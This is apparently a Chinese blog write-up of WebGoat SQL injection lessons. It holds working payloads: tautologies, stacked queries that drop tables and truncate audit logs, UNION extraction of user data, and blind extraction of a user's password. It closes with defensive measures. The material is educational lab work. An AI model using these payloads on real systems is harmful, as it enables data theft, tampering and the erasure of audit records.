avatar

cindahy

A text-focused Halo theme

  • 首页
  • 文章分类
  • 项目
  • 关于
Home SQL注入
文章

SQL注入

Posted 2025-06-9 Updated 16 days ago
By Administrator
45~57 min read

总述

sql语言基础

SQL语言主要分为四部分:DML,DDL,DCL,TCL

  • DML (Manipulation)用 于对数据库中的数据进行操作,主要包括插入(INSERT)、更新(UPDATE)、删除(DELETE)和查询(SELECT)数据。

INSERT INTO students (id, name, age) VALUES (1, 'Alice', 20);
UPDATE students SET age = 21 WHERE id = 1;
DELETE FROM students WHERE id = 1;
SELECT name, age FROM students;
  • DDL(Definition)用于定义和修改数据库的结构,主要包括创建(CREATE)、修改(ALTER)和删除(DROP)数据库对象(如表、索引、视图等)。

CREATE TABLE students (
    id INT PRIMARY KEY,
    name VARCHAR(50),
    age INT
);

ALTER TABLE students ADD COLUMN gender CHAR(1);

DROP TABLE students;
DROP INDEX idx_name ON students;
  • DCL( Control)用于控制数据库的访问权限,主要包括授权(GRANT)和撤销授权(REVOKE)。

GRANT SELECT, INSERT ON students TO user1;
grant all on grant_rights to  unauthorized_user

REVOKE INSERT ON students FROM user1;
  • TCL用于管理数据库事务,主要包括开始事务(START TRANSACTION)、提交事务(COMMIT)、回滚事务(ROLLBACK)和设置事务隔离级别(SET SESSION TRANSACTION )。

START TRANSACTION;
COMMIT;
ROLLBACK;
SET SESSION TRANSACTION ISOLATION LEVEL REPEATABLE READ;

sql中的特殊符号

  1. 常见注释符

  • 行内注释:/**/

  • 行外注释-- 、#

  • 常见用法

SELECT * FROM users WHERE name = 'admin' -- (被注释掉的语句)
  1. 常见查询符

  • ;->堆叠注入

SELECT * FROM users; DROP TABLE users;
  1. 常见连接符

  • ',",||

SELECT * FROM users WHERE name = '+char(27) OR 1=1
--  char(27)是ASCII码中的单引号(')的等价表示

sql注入流程

  1. 找到sql注入点

'             --触发错误
' AND 1=1     --正常返回
' AND 1=2     --无返回
' OR '1'='1   --返回所有数据
  1. 获取数据库信息

常用爆破

1' or SUBSTRING((SELECT COLUMN_NAME FROM information_schema.columns where TABLE_SCHEMA='' and TABLE_NAME=' ' LIMIT 0,1),1,1)='a';-- 爆列
  1. 构造获取数据

如

1' ; select * from user_system_data --   堆叠
1' or substring(password,1,1)='t';-- 获取列名爆破密码

SQL Injection (intro)

什么是sql

employees表单

写一个简单的查询语句就行了

Select department from employees where first_name='Bob'

然后看一下源码

  • dataSource.getConnection 从数据源获取一个数据库连接

  • connection.createStatement(TYPE_SCROLL_INSENSITIVE, CONCUR_READ_ONLY):创建一个Statement对象,用于执行SQL语句。TYPE_SCROLL_INSENSITIVE表示结果集可以滚动,CONCUR_READ_ONLY表示结果集是只读的。

  • statement.executeQuery(query):执行传入的SQL查询语句,返回一个ResultSet对象,包含查询结果。

  • results.first():将结果集的游标移动到第一行,如果结果为空,抛出SQLExcepion错误

  • 之后就是查询结果与Marketing比对,如果正确返回正确信息(包括查询语句和查询结果)

3.DML

简单的更新表单语句

update employees set department ='Sales' where first_name='Tobi';

源码:

就是执行完用户的sql语句之后再把对应信息查出来进行比对

4.DDL

alter语句

alter table employees add column phone varchar(20);

源码通过查询phone判断是否为空检验

5.DCL

grant select,delete,insert on grant_rights to  unauthorized_user

审计源码,这里主要分了三个部分

 @PostConstruct
public void createUser() {
    // HSQLDB does not support CREATE USER with IF NOT EXISTS so we need to do it in code (using
    // DROP first will throw error if user does not exists)
    try (Connection connection = dataSource.getConnection()) {
      try (var statement =
          connection.prepareStatement("CREATE USER unauthorized_user PASSWORD test")) {
        statement.execute();
      }
    } catch (Exception e) {
      // user already exists continue
    }
  }
//创建了一个新的数据库用户,将用户名设置为unauthorized_user ,密码设置为test
protected AttackResult injectableQuery(String query) {
    try (Connection connection = dataSource.getConnection()) {
      try (Statement statement =
          connection.createStatement(
              ResultSet.TYPE_SCROLL_INSENSITIVE, ResultSet.CONCUR_UPDATABLE)) {
        statement.executeQuery(query);
        if (checkSolution(connection)) {
          return success(this).build();
        }
        return failed(this).output("Your query was: " + query).build();
      }
    } catch (Exception e) {
      return failed(this)
          .output(
              this.getClass().getName() + " : " + e.getMessage() + "<br> Your query was: " + query)
          .build();
    }
  }

  private boolean checkSolution(Connection connection) {
    try {
      var stmt =
          connection.prepareStatement(
              "SELECT * FROM INFORMATION_SCHEMA.TABLE_PRIVILEGES WHERE TABLE_NAME = ? AND GRANTEE ="
                  + " ?");//用于执行参数化的SQL查询。这有助于防止SQL注入攻击。
      stmt.setString(1, "GRANT_RIGHTS");
      stmt.setString(2, "UNAUTHORIZED_USER");
      var resultSet = stmt.executeQuery();
      return resultSet.next();
    } catch (SQLException throwables) {
      return false;
    }
  }

//
@PostMapping("/SqlInjection/attack5")
  @ResponseBody
  public AttackResult completed(String query) {
    createUser();
    return injectableQuery(query);
  }

大致就是新建了一个用户,执行完用户的sql语句之后,通过查询GRANT_RIGHTS这个表中该用户是否存在的方式进行校验用户是否并赋权。

这里需要注意的是 使用 Connection.prepareStatement 方法可以创建一个 PreparedStatement 对象 。而PreparedStatement 是预编译的SQL语句,可以防止SQL注入攻击。

6.What is SQL injection?

一些sql构造实例

Smith' OR '1' = '1

Smith' OR 1 = 1; -- 判断值永远为True,返回所有数据

Smith'; DROP TABLE users; TRUNCATE audit_log; -- 删除用户表,并且删除审计日志表

7.sql注入的结果

8.sql注入的严重性

9. sql注入

原理就是构造了一个永远为True的查询

SELECT * FROM user_data WHERE first_name = 'John' and last_name = 'Smith' or '1' = '1'
SELECT * FROM user_data WHERE first_name = 'John' and last_name = 'Smith' or TRUE

看一下源码

前端传入三个参数分别为accoun,operator,injection

将这三个参数进行拼接查询之后,以结果集的个数判断是否成功

10.数字型注入

数字型注入的基本步骤

  1. 加单引号,id=3' : 抛出异常程序无法正常从数据库中查询出数据

  2. 加 and 1=1, id=3 and 1=1 : 语句执行正常,页面无差异

  3. 加and 1=2,id=3 and 1=2 :语句可以正常执行,但是无法查询出结果

提示里说了只有一个文本框可以执行sql注入,在两个里面选一个输入1 or 1=1,成功执行

看源码

注意到这里对login_count这一参数进行了预编译,将它转换成整型,如果转换失败,则返回一个错误对象(所以这里也不能加空格)

简而言之,预编译就是读入了字面意思,不进行二次编译

11.字符型注入

  • 字符型注入一般需要单引号闭合。同数字型注入类似,不过数字型注入不需要单引号

"SELECT * FROM employees WHERE last_name = '" + name + "' AND auth_tan = '" + auth_tan + "'"

1’ or ‘1’=’1

那么有个问题,怎么判断应该用单引号还是双引号

看到'" + name + "',里面的“是java语法,外面包裹的’ 显示使用单引号作为SQL字符串分隔符

当然也可以通过报错和布尔测试进行判断

12.堆叠注入

把Authentication TAN: 写成

3SL99A';update employees set salary =999999 where auth_tan='3SL99A';-- -

这里要注意引号的闭合,查询字符串加引号,以及注释语句-- -

源码

connection.setAutoCommit(false): 手动提交事务。 在这种模式下,你可以执行多个SQL语句,然后通过调用connection.commit()来提交事务,或者在发生错误时调用connection.rollback()来回滚事务。

通过比较(此人工资和所有人最大工资)和(其他人工资不变)来判断

13.数据的可用性(删日志)


1';drop table access_log; -- -

源码

String query = "SELECT * FROM access_log WHERE action LIKE '%" + action + "%'";

注意到这里用了LIKE操作符进行模式匹配

  • %是通配符,表示任意数量的任意字符

  • '_'表示单个任意字符

所以这里查询的是所有含有action的记录

SQL Injection (advanced)

总述:

  • 联合注入

  • 盲注

联合注入

前提条件:

  • select的列数要和数据库的列数相等

1' union select 1,2,3,4 # 数据库有四列
  • 查询的数据要与原数据库列的数据类型匹配

常见技巧

判断数据库列数

  • ORDER BY 命令

' ORDER BY 3 --  假设是字符注入,根据报错判断是几列
  • UNION SELECT NULL

' UNION SELECT NULL,NULL,NULL -- 
UNION SELECT NULL FROM DUAL -- 在Oracle数据库中

题目:

这里提示可以用两个方法 一个是联合注入,一个是堆叠注入

  1. 堆叠

1' ; select * from user_system_data --
  1. UNION

先用万能密码输出全部数据

1' or 1=1 -- 

USERID, FIRST_NAME, LAST_NAME, CC_NUMBER, CC_TYPE, COOKIE, LOGIN_COUNT,

1' or 1=1 union select 1,'1','1','1','1',password,7 from user_system_data --
1' or 1=1 union select userid,user_name,password,null,null,cookie,null from user_system_data --

accountName.matches("(?i)(^[^-/*;)]*)(\\s*)UNION(.*$)");

正则表达式: 检测字符串中是否包含 UNION 关键字(不区分大小写)

盲注

什么是盲注

  • 无回显-不会返回数据库中的详细信息

  • 侧面回显-会给出true或false的信息或者延时信息

判断方法

  • 布尔盲注

  1. 判断注入点

1' and '1'='1 // 页面返回有数据
1' and '1'='2 // 页面返回无数据
可能存在sql注入
  1. 判断当前页面字段数

1' and '1'='1' order by 2 – // 页面返回有数据
1' and '1'='2' order by 3 – // 页面返回无数据
判断出当前页面字段数为 2
  • 时间盲注

  1. 判断注入点的 SQL 语句

1' and '1'='1';--  // 页面返回有数据
1' and '1'='2';--  //  页面返回有数据
页面的返回没有变化,可能是盲注;
  1. 判断是何种盲注

Select name from table where id = 1 and if(布尔表达式,sleep(5),(1));
// 条件为真时延时 5s
可以通过简单的id = 1' and sleep(2)判断是否存在时间盲注

题目

这里让我们找到tom的密码

先总结一下总的流程:

  1. 找到sql注入点(通过 1' or '1'='1 判断)

若显示已有此用户则说明此语句正常执行,因为没有(1' or '1'='1)用户,说明此处有sql注入点

  1. 爆破出列名

通过库、表、列逐级爆破的方法

其中

如爆列:1' or SUBSTRING((SELECT COLUMN_NAME FROM information_schema.columns where TABLE_SCHEMA='CONTAINER' and TABLE_NAME='ASSIGNMENT ' LIMIT 0,1),1,1)='a';--

其中LIMIT 0,1 表示第一个列,SUBSTRING(**,1,1)表示取出字符串中的第一个字符,通过逐个字符爆破的方式得到正确的数据库列名。

  1. 最后爆出密码

tom' or substring(password,1,1)='t'; --:逐个字符爆破

详细过程:

1' or SUBSTRING((SELECT SCHEMA_NAME FROM information_schema.schemata LIMIT 0,1),1,1)='a';-- 爆库
1' or SUBSTRING((SELECT TABLE_NAME FROM information_schema.tables where TABLE_SCHEMA='CONTAINER' LIMIT 0,1),1,1)='a';-- 爆表
1' or SUBSTRING((SELECT COLUMN_NAME FROM information_schema.columns where TABLE_SCHEMA='CONTAINER' and TABLE_NAME='ASSIGNMENT ' LIMIT 0,1),1,1)='a';-- 爆列
CONTAINER
ASSIGNMENT 
ID

爆破确定数据库名

返回结果,根据长度确定数据库正确名

这里可以得出数据库第一个字母是C

稍微对比一下两个返回的包

HTTP/1.1 200 OK
Connection: close
Content-Type: application/json
Date: Sat, 07 Jun 2025 05:40:38 GMT

{
  "lessonCompleted" : true,
  "feedback" : "User 1' or SUBSTRING((SELECT SCHEMA_NAME FROM information_schema.schemata LIMIT 0,1),1,1)='d';-- created, please proceed to the login page.",
  "output" : null,
  "assignment" : "SqlInjectionChallenge",
  "attemptWasMade" : true
}


HTTP/1.1 200 OK
Connection: close
Content-Type: application/json
Date: Sat, 07 Jun 2025 05:40:38 GMT

{
  "lessonCompleted" : false,
  "feedback" : "User 1' or SUBSTRING((SELECT SCHEMA_NAME FROM information_schema.schemata LIMIT 0,1),1,1)='C';-- already exists please try to register with a different username.",
  "output" : null,
  "assignment" : "SqlInjectionChallenge",
  "attemptWasMade" : true
}

可以看到就是一个成功创建,一个显示用户名已存在,就是数据库名校验正确与否的区别

  • 若数据库名正确则显示用户名已存在

  • 若不正确则显示注册成功

然后为什么我们这样子得到的列名是id呢,原来是因为LIMIT 的偏移量问题,

把limit 0,1 改成 limit 1,1就可以得到第二个列名了

最后发现有三列,第三列的名字就是password

tom' or password='123 //可以判断列名是否为password

最后

1' or substring(password,1,1)='t';-- 爆破密码

thisisasecretfortomonly

sql注入的基本防御手段

代码层:

方法

说明

静态查询

session.getAttribute("UserID")

由session.getAttribute读取数据,而不是用户自己输入

预编译(Prepared Statements)

使用参数化查询PreparedStatement statement = connection.prepareStatement(query); query里是带?的sql语句

输入过滤

过滤危险字符(如'、"、--),但需注意绕过(如CHR(97)替代'a')

最小权限原则

数据库用户仅授予必要权限(禁止FILE、EXECUTE等)

输出编码

对回显数据做HTML实体编码 (如PHP的htmlspecialchars())

运维层

  • WAF(Web应用防火墙):拦截恶意SQL语句(但可能被绕过)

  • 数据库日志监控:检测异常SQL查询

  • 定期漏洞扫描:使用工具(如SQLmap、Burp Suite)测试应用

webgoat
webgoat sql
License:  CC BY 4.0
Share

Further Reading

Aug 4, 2025

XXE

XML实体 XML实体(Entity)是XML中用来定义可重用内容的机制,当XML文档被解析时,这些实体引用会被替换为实际内容。实体主要有三种类型: 内部实体:在文档内部定义的实体(是否开启根元素的约束)(#PCDATA) <!DOCTYPE example [ <!ENTITY js "Jo

Jun 28, 2025

有缺陷的访问控制

HijackSessionAssignment 在 HijackSessionAuthenticationProvider 类中,ID 的生成由以下代码控制: private static long id = new Random().nextLong() & Long.MAX_VALUE; //

Jun 24, 2025

XSS(跨站脚本攻击)

基本概念 XSS是一种将恶意脚本注入到其他用户浏览的网页中的攻击方式 分类 反射型 非持久化攻击 典型场景 恶意URL:http://example.com/search?q=<script>alert(1)</script> 当用户点击该链接时,服务器返回的页面中包含未转义的搜索词,导致脚本执行

OLDER

目录遍历漏洞

NEWER

javaweb开发

Recently Updated

  • 常见安全产品整理(防火墙,WAF,EDR)
  • ELK从入门到实践
  • bp+mumu模拟器app抓包
  • xray漏扫工具
  • Java反序列化-RMI的几种攻击方式

Trending Tags

安全运营 文件上传 php反序列化 xss csrf ssrf xxe sql php 白帽子讲web安全

Contents

©2025 cindahy. Some rights reserved.

Using the Halo theme Chirpy